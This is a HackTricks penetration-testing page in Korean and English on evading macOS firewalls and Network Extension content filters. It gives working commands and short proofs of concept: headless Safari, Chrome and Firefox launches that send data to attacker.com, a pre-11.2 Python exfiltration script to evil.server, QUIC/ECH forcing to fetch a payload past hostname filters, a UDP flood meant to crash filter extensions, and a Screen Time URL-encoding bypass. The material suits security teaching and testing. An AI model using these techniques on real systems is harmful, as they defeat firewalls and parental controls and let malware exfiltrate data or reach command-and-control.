macOS Bypassing Firewalls

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋ฐœ๊ฒฌ๋œ ๊ธฐ๋ฒ•

๋‹ค์Œ ๊ธฐ๋ฒ•๋“ค์€ ์ผ๋ถ€ macOS firewall ์•ฑ์—์„œ ์ž‘๋™ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Abusing whitelist names

  • ์˜ˆ: ์ž˜ ์•Œ๋ ค์ง„ macOS ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„์ธ **launchd**๋กœ malware๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ

Synthetic Click

  • firewall๊ฐ€ ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋ฉด malware๊ฐ€ ํ—ˆ์šฉ์„ ํด๋ฆญํ•˜๊ฒŒ ๋งŒ๋“œ์„ธ์š”.

Use Apple signed binaries

  • ์˜ˆ: curl ๊ฐ™์€ ๊ฒƒ, ๋˜ whois ๋“ฑ

Well known apple domains

firewall๋Š” apple.com ๋˜๋Š” icloud.com ๊ฐ™์€ ์ž˜ ์•Œ๋ ค์ง„ apple ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ์—ฐ๊ฒฐ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  iCloud๋Š” C2๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Generic Bypass

firewalls๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์‹œ๋„ํ•ด๋ณผ ๋ช‡ ๊ฐ€์ง€ ์•„์ด๋””์–ด

Check allowed traffic

ํ—ˆ์šฉ๋œ ํŠธ๋ž˜ํ”ฝ์„ ํŒŒ์•…ํ•˜๋ฉด ์ž ์žฌ์ ์œผ๋กœ whitelisted๋œ ๋„๋ฉ”์ธ์ด๋‚˜ ์–ด๋–ค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ทธ ๋„๋ฉ”์ธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค

lsof -i TCP -sTCP:ESTABLISHED

DNS ์•…์šฉ

DNS ํ•ด์„์€ mdnsreponder ์„œ๋ช…๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ†ตํ•ด ์ˆ˜ํ–‰๋˜๋ฉฐ, ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์•„๋งˆ๋„ DNS ์„œ๋ฒ„์— ์ ‘์†ํ•˜๋Š” ๊ฒƒ์ด ํ—ˆ์šฉ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

https://www.youtube.com/watch?v=UlT5KFTMn2k

๋ธŒ๋ผ์šฐ์ € ์•ฑ์„ ํ†ตํ•ด

  • oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • ๊ตฌ๊ธ€ ํฌ๋กฌ
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
  • Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
  • Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

processes injections์„ ํ†ตํ•œ

๋งŒ์•ฝ inject code into a process ํ•  ์ˆ˜ ์žˆ๊ณ  ๊ทธ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์–ด๋–ค ์„œ๋ฒ„์—๋“  ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉ๋˜์–ด ์žˆ๋‹ค๋ฉด ๋ฐฉํ™”๋ฒฝ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

macOS Process Abuse


์ตœ๊ทผ macOS ๋ฐฉํ™”๋ฒฝ ์šฐํšŒ ์ทจ์•ฝ์  (2023-2025)

Web content filter (Screen Time) bypass โ€“ CVE-2024-44206

2024๋…„ 7์›”, Apple์€ Screen Time ๋ถ€๋ชจ ํ†ต์ œ์— ์‚ฌ์šฉ๋˜๋Š” ์‹œ์Šคํ…œ ์ „์ฒด์˜ โ€œWeb content filterโ€๋ฅผ ์†์ƒ์‹œํ‚จ Safari/WebKit์˜ ์‹ฌ๊ฐํ•œ ๋ฒ„๊ทธ๋ฅผ ํŒจ์น˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ํŠน์ˆ˜ํ•˜๊ฒŒ ์กฐ์ž‘๋œ URI(์˜ˆ: ์ด์ค‘ URL-encoded๋œ โ€œ://โ€ ํฌํ•จ)์€ Screen Time์˜ ACL์—์„œ ์ธ์‹๋˜์ง€ ์•Š์ง€๋งŒ WebKit์—์„œ๋Š” ํ—ˆ์šฉ๋˜์–ด ์š”์ฒญ์ด ํ•„ํ„ฐ๋ง ์—†์ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ URL์„ ์—ด ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค(์˜ˆ: sandboxed ๋˜๋Š” unsigned code ํฌํ•จ)๋Š” ์‚ฌ์šฉ์ž ๋˜๋Š” MDM ํ”„๋กœํŒŒ์ผ์— ์˜ํ•ด ๋ช…์‹œ์ ์œผ๋กœ ์ฐจ๋‹จ๋œ ๋„๋ฉ”์ธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ค์ „ ํ…Œ์ŠคํŠธ (ํŒจ์น˜๋˜์ง€ ์•Š์€ ์‹œ์Šคํ…œ):

open "http://attacker%2Ecom%2F./"   # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page

macOS 14 โ€œSonomaโ€ ์ดˆ๊ธฐ์˜ Packet Filter (PF) ๊ทœ์น™ ์ •๋ ฌ ๋ฒ„๊ทธ

macOS 14 ๋ฒ ํƒ€ ๊ธฐ๊ฐ„ ๋™์•ˆ Apple์€ **pfctl**๋ฅผ ๊ฐ์‹ธ๋Š” ์‚ฌ์šฉ์ž ๊ณต๊ฐ„ ๋ž˜ํผ์— ํšŒ๊ท€ ๋ฒ„๊ทธ๋ฅผ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค.
quick ํ‚ค์›Œ๋“œ๋กœ ์ถ”๊ฐ€๋œ ๊ทœ์น™(๋งŽ์€ VPN kill-switches์—์„œ ์‚ฌ์šฉ๋จ)์ด ์กฐ์šฉํžˆ ๋ฌด์‹œ๋˜์–ด, VPN/firewall GUI๊ฐ€ blocked๋กœ ํ‘œ์‹œ๋˜๋”๋ผ๋„ ํŠธ๋ž˜ํ”ฝ leak๋ฅผ ์ดˆ๋ž˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฒ„๊ทธ๋Š” ์—ฌ๋Ÿฌ VPN ๊ณต๊ธ‰์—…์ฒด์— ์˜ํ•ด ํ™•์ธ๋˜์—ˆ๊ณ  RC 2 (build 23A344)์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ฐ„๋‹จํ•œ leak ํ™•์ธ:

pfctl -sr | grep quick       # rules are presentโ€ฆ
sudo tcpdump -n -i en0 not port 53   # โ€ฆbut packets still leave the interface

Apple ์„œ๋ช… ํ—ฌํผ ์„œ๋น„์Šค ์•…์šฉ (๋ ˆ๊ฑฐ์‹œ โ€“ macOS 11.2 ์ด์ „)

macOS 11.2 ์ด์ „์—๋Š” **ContentFilterExclusionList**๊ฐ€ **nsurlsessiond**๋‚˜ App Store์™€ ๊ฐ™์€ ์•ฝ 50๊ฐœ์˜ Apple ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ Network Extension framework (LuLu, Little Snitch ๋“ฑ)๋กœ ๊ตฌํ˜„๋œ ๋ชจ๋“  socket-filter ๋ฐฉํ™”๋ฒฝ์„ ์šฐํšŒํ•˜๋„๋ก ํ—ˆ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. Malware๋Š” ์ œ์™ธ๋œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋‹จ์ˆœํžˆ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์ด๋ฏธ ํ—ˆ์šฉ๋œ ์†Œ์ผ“์„ ํ†ตํ•ด ์ž์‹ ์˜ ํŠธ๋ž˜ํ”ฝ์„ ํ„ฐ๋„๋งํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. Apple์€ macOS 11.2์—์„œ ํ•ด๋‹น ์ œ์™ธ ๋ชฉ๋ก์„ ์™„์ „ํžˆ ์ œ๊ฑฐํ–ˆ์ง€๋งŒ, ์—…๊ทธ๋ ˆ์ด๋“œํ•  ์ˆ˜ ์—†๋Š” ์‹œ์Šคํ…œ์—์„œ๋Š” ์ด ๊ธฐ๋ฒ•์ด ์—ฌ์ „ํžˆ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ PoC (pre-11.2):

import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")

QUIC/ECH๋กœ Network Extension ๋„๋ฉ”์ธ ํ•„ํ„ฐ ์šฐํšŒํ•˜๊ธฐ (macOS 12+)

NEFilter Packet/Data Providers๋Š” TLS ClientHello SNI/ALPN์„ ๊ธฐ์ค€์œผ๋กœ ๋™์ž‘ํ•œ๋‹ค. HTTP/3 over QUIC (UDP/443) ๋ฐ **Encrypted Client Hello (ECH)**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด SNI๊ฐ€ ์•”ํ˜ธํ™”๋œ ์ƒํƒœ๋กœ ๋‚จ์•„ NetExt๋Š” ํ๋ฆ„์„ ํŒŒ์‹ฑํ•  ์ˆ˜ ์—†๊ณ , ํ˜ธ์ŠคํŠธ๋ช… ๊ทœ์น™์€ ์ข…์ข… fail-open๋˜์–ด malware๊ฐ€ DNS๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ์ฐจ๋‹จ๋œ ๋„๋ฉ”์ธ์— ๋„๋‹ฌํ•˜๊ฒŒ ํ•œ๋‹ค.

Minimal PoC:

# Chrome/Edge โ€“ force HTTP/3 and ECH
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--enable-quic --origin-to-force-quic-on=attacker.com:443 \
--enable-features=EncryptedClientHello --user-data-dir=/tmp/h3test \
https://attacker.com/payload

# cURL 8.10+ built with quiche
curl --http3-only https://attacker.com/payload

If QUIC/ECH is still enabled this is an easy hostname-filter evasion path.

macOS 15 โ€œSequoiaโ€ Network Extension instability (2024โ€“2025)

์ดˆ๊ธฐ 15.0/15.1 ๋นŒ๋“œ๋Š” ์„œ๋“œํŒŒํ‹ฐ Network Extension ํ•„ํ„ฐ(LuLu, Littleย Snitch, Defender, SentinelOne ๋“ฑ)๋ฅผ ํฌ๋ž˜์‹œ์‹œํ‚ต๋‹ˆ๋‹ค. ํ•„ํ„ฐ๊ฐ€ ์žฌ์‹œ์ž‘๋˜๋ฉด macOS๋Š” flow rules๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  ๋งŽ์€ ์ œํ’ˆ๋“ค์ด failโ€‘open ์ƒํƒœ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ํ•„ํ„ฐ๋ฅผ ์ˆ˜์ฒœ ๊ฐœ์˜ ์งง์€ UDP flows๋กœ ํ”Œ๋Ÿฌ๋”ฉํ•˜๊ฑฐ๋‚˜(๋˜๋Š” QUIC/ECH๋ฅผ ๊ฐ•์ œํ•˜๋ฉด) ์ถฉ๋Œ์„ ๋ฐ˜๋ณต์ ์œผ๋กœ ์œ ๋ฐœํ•ด GUI๊ฐ€ ์—ฌ์ „ํžˆ firewall์ด ์ž‘๋™ ์ค‘์ด๋ผ๊ณ  ํ‘œ์‹œํ•˜๋Š” ๋™์•ˆ C2/exfil์„ ์œ„ํ•œ ์ฐฝ์„ ๋‚จ๊ธธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Quick reproduction (safe lab box):

# create many short UDP flows to exhaust NE filter queues
python3 - <<'PY'
import socket, os
for i in range(5000):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'X'*32, ('1.1.1.1', 53))
PY
# watch for NetExt crash / reconnect loop
log stream --predicate 'subsystem == "com.apple.networkextension"' --style syslog

์ตœ์‹  macOS์šฉ ๋„๊ตฌ ํŒ

  1. GUI ๋ฐฉํ™”๋ฒฝ์ด ์ƒ์„ฑํ•˜๋Š” ํ˜„์žฌ PF ๊ทœ์น™์„ ํ™•์ธ:
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
  1. ์ด๋ฏธ outgoing-network entitlement๋ฅผ ๋ณด์œ ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์—ด๊ฑฐ(ํ”ผ๊ธฐ-backing์— ์œ ์šฉ):
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
  1. Objective-C/Swift๋กœ Network Extension content filter๋ฅผ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๋ฐฉ์‹์œผ๋กœ ๋“ฑ๋กํ•˜์„ธ์š”. ํŒจํ‚ท์„ ๋กœ์ปฌ ์†Œ์ผ“์œผ๋กœ ํฌ์›Œ๋”ฉํ•˜๋Š” ์ตœ์†Œํ•œ์˜ rootless PoC๊ฐ€ Patrick Wardle์˜ LuLu ์†Œ์Šค ์ฝ”๋“œ์— ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ